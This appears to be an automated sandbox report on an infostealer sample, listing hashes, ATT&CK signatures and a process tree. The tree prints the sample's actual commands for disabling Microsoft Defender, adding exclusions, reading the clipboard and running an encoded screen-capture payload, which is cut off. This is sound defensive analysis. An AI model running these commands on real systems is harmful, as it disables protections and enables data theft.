0f70b1e3500b76552d726b4e219f8e36a82ad97fbb954dda6be9572650c2321f

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
19/08/2026, 03:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Size 10.7MB
Sample260819-eby29adj71
SHA256 0f70b1e3500b76552d726b4e219f8e36a82ad97fbb954dda6be9572650c2321f
MD5 f70ab06d0c97f53c9dab2fe7a2300ba9
SHA1 d28b9f3462271d9e75601deb71efe007ac11a26c
SHA512 455eede32294d4f66d08e64b2d1a1db4b6f546a263592ababbc052b2b16805c1ff05c7896fd765e1e56115f016bdfd10ce194cd4373b1b6060cb2a750ccd8168
SSDEEP 196608:ds67YDmIa48OuHsAQVJXCcyqTHQm1sk60DgW3Aa59vonr36PT1KMt7oZSx:OrDmR+nDwma7va59vUr3Svx
TLSH
T15AB6336872C651F6E5E2423E4E43D56AF6F13422A7A1D2CF037463573F2B2A8993D324
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection defense_evasion discovery execution spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3892	powershell.exe
2400	powershell.exe
4380	powershell.exe
1988	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3892	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
900	powershell.exe
3364	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
4048	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
16	discord.com
15	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
13	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3348	tasklist.exe
4472	tasklist.exe
3404	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000002456f-27.dat	upx
behavioral1/memory/632-31-0x00007FFCB7FE0000-0x00007FFCB86EF000-memory.dmp	upx
behavioral1/memory/632-36-0x00007FFCC58A0000-0x00007FFCC58C9000-memory.dmp	upx
behavioral1/memory/632-59-0x00007FFCCB9D0000-0x00007FFCCB9DF000-memory.dmp	upx
behavioral1/files/0x000700000002456c-37.dat	upx
behavioral1/files/0x000700000002455e-34.dat	upx
behavioral1/files/0x0007000000024568-58.dat	upx
behavioral1/files/0x0007000000024567-57.dat	upx
behavioral1/files/0x0007000000024566-56.dat	upx
behavioral1/files/0x0007000000024565-55.dat	upx
behavioral1/files/0x0007000000024564-54.dat	upx
behavioral1/files/0x0007000000024563-53.dat	upx
behavioral1/files/0x0007000000024562-52.dat	upx
behavioral1/files/0x0007000000024561-51.dat	upx
behavioral1/files/0x0007000000024560-50.dat	upx
behavioral1/files/0x000700000002455f-49.dat	upx
behavioral1/files/0x000700000002455d-48.dat	upx
behavioral1/files/0x0007000000024579-46.dat	upx
behavioral1/files/0x0007000000024578-45.dat	upx
behavioral1/files/0x0007000000024572-44.dat	upx
behavioral1/files/0x000700000002456e-41.dat	upx
behavioral1/files/0x000700000002456d-40.dat	upx
behavioral1/files/0x000700000002456b-39.dat	upx
behavioral1/memory/632-61-0x00007FFCC4F80000-0x00007FFCC4F9A000-memory.dmp	upx
behavioral1/memory/632-63-0x00007FFCC4F50000-0x00007FFCC4F7C000-memory.dmp	upx
behavioral1/memory/632-65-0x00007FFCC4ED0000-0x00007FFCC4F50000-memory.dmp	upx
behavioral1/memory/632-67-0x00007FFCC5610000-0x00007FFCC561D000-memory.dmp	upx
behavioral1/memory/632-72-0x00007FFCC4E80000-0x00007FFCC4E94000-memory.dmp	upx
behavioral1/memory/632-71-0x00007FFCC5250000-0x00007FFCC525F000-memory.dmp	upx
behavioral1/memory/632-74-0x00007FFCB7FE0000-0x00007FFCB86EF000-memory.dmp	upx
behavioral1/memory/632-75-0x00007FFCB77B0000-0x00007FFCB7DE1000-memory.dmp	upx
behavioral1/memory/632-82-0x00007FFCB7650000-0x00007FFCB77A3000-memory.dmp	upx
behavioral1/memory/632-81-0x00007FFCC4BB0000-0x00007FFCC4BE5000-memory.dmp	upx
behavioral1/memory/632-79-0x00007FFCC58A0000-0x00007FFCC58C9000-memory.dmp	upx
behavioral1/memory/632-77-0x00007FFCC4BF0000-0x00007FFCC4C0A000-memory.dmp	upx
behavioral1/memory/632-89-0x00007FFCC52C0000-0x00007FFCC52E6000-memory.dmp	upx
behavioral1/memory/632-91-0x00007FFCB7E50000-0x00007FFCB7FDA000-memory.dmp	upx
behavioral1/memory/632-97-0x00007FFCC52B0000-0x00007FFCC52BD000-memory.dmp	upx
behavioral1/memory/632-100-0x00007FFCB6B70000-0x00007FFCB6C2E000-memory.dmp	upx
behavioral1/memory/632-99-0x00007FFCC5250000-0x00007FFCC525F000-memory.dmp	upx
behavioral1/memory/632-93-0x00007FFCC5610000-0x00007FFCC561D000-memory.dmp	upx
behavioral1/memory/632-132-0x00007FFCC4E80000-0x00007FFCC4E94000-memory.dmp	upx
behavioral1/memory/632-164-0x00007FFCB77B0000-0x00007FFCB7DE1000-memory.dmp	upx
behavioral1/memory/632-183-0x00007FFCC4BB0000-0x00007FFCC4BE5000-memory.dmp	upx
behavioral1/memory/632-221-0x00007FFCB7650000-0x00007FFCB77A3000-memory.dmp	upx
behavioral1/memory/632-254-0x00007FFCB7E50000-0x00007FFCB7FDA000-memory.dmp	upx
behavioral1/memory/632-257-0x00007FFCC52C0000-0x00007FFCC52E6000-memory.dmp	upx
behavioral1/memory/632-240-0x00007FFCB7FE0000-0x00007FFCB86EF000-memory.dmp	upx
behavioral1/memory/632-241-0x00007FFCC58A0000-0x00007FFCC58C9000-memory.dmp	upx
behavioral1/memory/632-283-0x00007FFCB77B0000-0x00007FFCB7DE1000-memory.dmp	upx
behavioral1/memory/632-291-0x00007FFCB6B70000-0x00007FFCB6C2E000-memory.dmp	upx
behavioral1/memory/632-290-0x00007FFCC52B0000-0x00007FFCC52BD000-memory.dmp	upx
behavioral1/memory/632-289-0x00007FFCB7E50000-0x00007FFCB7FDA000-memory.dmp	upx
behavioral1/memory/632-288-0x00007FFCC52C0000-0x00007FFCC52E6000-memory.dmp	upx
behavioral1/memory/632-287-0x00007FFCC4BB0000-0x00007FFCC4BE5000-memory.dmp	upx
behavioral1/memory/632-286-0x00007FFCB7650000-0x00007FFCB77A3000-memory.dmp	upx
behavioral1/memory/632-285-0x00007FFCC4BF0000-0x00007FFCC4C0A000-memory.dmp	upx
behavioral1/memory/632-284-0x00007FFCB7FE0000-0x00007FFCB86EF000-memory.dmp	upx
behavioral1/memory/632-282-0x00007FFCC5250000-0x00007FFCC525F000-memory.dmp	upx
behavioral1/memory/632-281-0x00007FFCC5610000-0x00007FFCC561D000-memory.dmp	upx
behavioral1/memory/632-280-0x00007FFCC4ED0000-0x00007FFCC4F50000-memory.dmp	upx
behavioral1/memory/632-279-0x00007FFCC4F50000-0x00007FFCC4F7C000-memory.dmp	upx
behavioral1/memory/632-278-0x00007FFCC4F80000-0x00007FFCC4F9A000-memory.dmp	upx
behavioral1/memory/632-277-0x00007FFCCB9D0000-0x00007FFCCB9DF000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4704	cmd.exe
1376	cmd.exe
3956	cmd.exe
1004	cmd.exe
4712	cmd.exe
3040	cmd.exe
3172	cmd.exe
2540	cmd.exe
1984	cmd.exe
4700	cmd.exe
1088	cmd.exe
1332	cmd.exe
4352	cmd.exe
5040	cmd.exe
3960	cmd.exe
1716	cmd.exe
3308	cmd.exe
2552	cmd.exe
5044	cmd.exe
2024	cmd.exe
3276	cmd.exe
4724	cmd.exe
4636	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1752	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5060	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
1988	powershell.exe
1988	powershell.exe
3892	powershell.exe
4380	powershell.exe
3892	powershell.exe
4380	powershell.exe
900	powershell.exe
900	powershell.exe
900	powershell.exe
1072	powershell.exe
1072	powershell.exe
1072	powershell.exe
2400	powershell.exe
2400	powershell.exe
4152	powershell.exe
4152	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	3892	powershell.exe
Token: SeDebugPrivilege	4380	powershell.exe
Token: SeDebugPrivilege	3348	tasklist.exe
Token: SeDebugPrivilege	4472	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4120	WMIC.exe
Token: SeSecurityPrivilege	4120	WMIC.exe
Token: SeTakeOwnershipPrivilege	4120	WMIC.exe
Token: SeLoadDriverPrivilege	4120	WMIC.exe
Token: SeSystemProfilePrivilege	4120	WMIC.exe
Token: SeSystemtimePrivilege	4120	WMIC.exe
Token: SeProfSingleProcessPrivilege	4120	WMIC.exe
Token: SeIncBasePriorityPrivilege	4120	WMIC.exe
Token: SeCreatePagefilePrivilege	4120	WMIC.exe
Token: SeBackupPrivilege	4120	WMIC.exe
Token: SeRestorePrivilege	4120	WMIC.exe
Token: SeShutdownPrivilege	4120	WMIC.exe
Token: SeDebugPrivilege	4120	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4120	WMIC.exe
Token: SeRemoteShutdownPrivilege	4120	WMIC.exe
Token: SeUndockPrivilege	4120	WMIC.exe
Token: SeManageVolumePrivilege	4120	WMIC.exe
Token: 33	4120	WMIC.exe
Token: 34	4120	WMIC.exe
Token: 35	4120	WMIC.exe
Token: 36	4120	WMIC.exe
Token: SeDebugPrivilege	3404	tasklist.exe
Token: SeDebugPrivilege	900	powershell.exe
Token: SeIncreaseQuotaPrivilege	4120	WMIC.exe
Token: SeSecurityPrivilege	4120	WMIC.exe
Token: SeTakeOwnershipPrivilege	4120	WMIC.exe
Token: SeLoadDriverPrivilege	4120	WMIC.exe
Token: SeSystemProfilePrivilege	4120	WMIC.exe
Token: SeSystemtimePrivilege	4120	WMIC.exe
Token: SeProfSingleProcessPrivilege	4120	WMIC.exe
Token: SeIncBasePriorityPrivilege	4120	WMIC.exe
Token: SeCreatePagefilePrivilege	4120	WMIC.exe
Token: SeBackupPrivilege	4120	WMIC.exe
Token: SeRestorePrivilege	4120	WMIC.exe
Token: SeShutdownPrivilege	4120	WMIC.exe
Token: SeDebugPrivilege	4120	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4120	WMIC.exe
Token: SeRemoteShutdownPrivilege	4120	WMIC.exe
Token: SeUndockPrivilege	4120	WMIC.exe
Token: SeManageVolumePrivilege	4120	WMIC.exe
Token: 33	4120	WMIC.exe
Token: 34	4120	WMIC.exe
Token: 35	4120	WMIC.exe
Token: 36	4120	WMIC.exe
Token: SeDebugPrivilege	1072	powershell.exe
Token: SeIncreaseQuotaPrivilege	2068	WMIC.exe
Token: SeSecurityPrivilege	2068	WMIC.exe
Token: SeTakeOwnershipPrivilege	2068	WMIC.exe
Token: SeLoadDriverPrivilege	2068	WMIC.exe
Token: SeSystemProfilePrivilege	2068	WMIC.exe
Token: SeSystemtimePrivilege	2068	WMIC.exe
Token: SeProfSingleProcessPrivilege	2068	WMIC.exe
Token: SeIncBasePriorityPrivilege	2068	WMIC.exe
Token: SeCreatePagefilePrivilege	2068	WMIC.exe
Token: SeBackupPrivilege	2068	WMIC.exe
Token: SeRestorePrivilege	2068	WMIC.exe
Token: SeShutdownPrivilege	2068	WMIC.exe
Token: SeDebugPrivilege	2068	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2068	WMIC.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 3052 wrote to memory of 632	3052	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	86
PID 632 wrote to memory of 3172	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	88
PID 632 wrote to memory of 4704	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	89
PID 632 wrote to memory of 5044	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	90
PID 632 wrote to memory of 2540	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	91
PID 4704 wrote to memory of 4380	4704	cmd.exe	95
PID 2540 wrote to memory of 1988	2540	cmd.exe	96
PID 5044 wrote to memory of 3892	5044	cmd.exe	97
PID 632 wrote to memory of 1376	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	98
PID 632 wrote to memory of 3956	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	99
PID 1376 wrote to memory of 3348	1376	cmd.exe	100
PID 3956 wrote to memory of 4472	3956	cmd.exe	101
PID 632 wrote to memory of 3960	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	102
PID 632 wrote to memory of 3364	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	103
PID 632 wrote to memory of 1004	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	104
PID 3960 wrote to memory of 4120	3960	cmd.exe	105
PID 3364 wrote to memory of 900	3364	cmd.exe	106
PID 632 wrote to memory of 1716	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	107
PID 1004 wrote to memory of 3404	1004	cmd.exe	108
PID 632 wrote to memory of 1984	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	109
PID 1984 wrote to memory of 5060	1984	cmd.exe	110
PID 632 wrote to memory of 992	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	111
PID 1716 wrote to memory of 3864	1716	cmd.exe	112
PID 992 wrote to memory of 1072	992	cmd.exe	113
PID 632 wrote to memory of 4700	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	114
PID 4700 wrote to memory of 2976	4700	cmd.exe	115
PID 632 wrote to memory of 1088	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	116
PID 1088 wrote to memory of 3580	1088	cmd.exe	117
PID 632 wrote to memory of 2024	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	118
PID 2024 wrote to memory of 1772	2024	cmd.exe	119
PID 1072 wrote to memory of 2972	1072	powershell.exe	120
PID 632 wrote to memory of 1332	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	121
PID 1332 wrote to memory of 4144	1332	cmd.exe	122
PID 632 wrote to memory of 4352	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	123
PID 4352 wrote to memory of 2608	4352	cmd.exe	124
PID 2972 wrote to memory of 3792	2972	csc.exe	126
PID 632 wrote to memory of 5040	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	127
PID 5040 wrote to memory of 2740	5040	cmd.exe	128
PID 632 wrote to memory of 3308	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	129
PID 3308 wrote to memory of 4048	3308	cmd.exe	130
PID 632 wrote to memory of 3276	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	133
PID 3276 wrote to memory of 2068	3276	cmd.exe	134
PID 632 wrote to memory of 4712	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	135
PID 4712 wrote to memory of 4196	4712	cmd.exe	136
PID 632 wrote to memory of 4724	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	137
PID 4724 wrote to memory of 4432	4724	cmd.exe	138
PID 632 wrote to memory of 3040	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	139
PID 3040 wrote to memory of 2400	3040	cmd.exe	140
PID 632 wrote to memory of 4636	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	142
PID 4636 wrote to memory of 1752	4636	cmd.exe	143
PID 632 wrote to memory of 2552	632	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	144
PID 2552 wrote to memory of 4152	2552	cmd.exe	145

C:\Users\Admin\AppData\Local\Temp\2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Users\Admin\AppData\Local\Temp\2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    - Executes a command shell one-liner
    PID:3172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2540
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1376
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3956
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3960
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:3364
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1004
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1716
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1984
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:5060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACA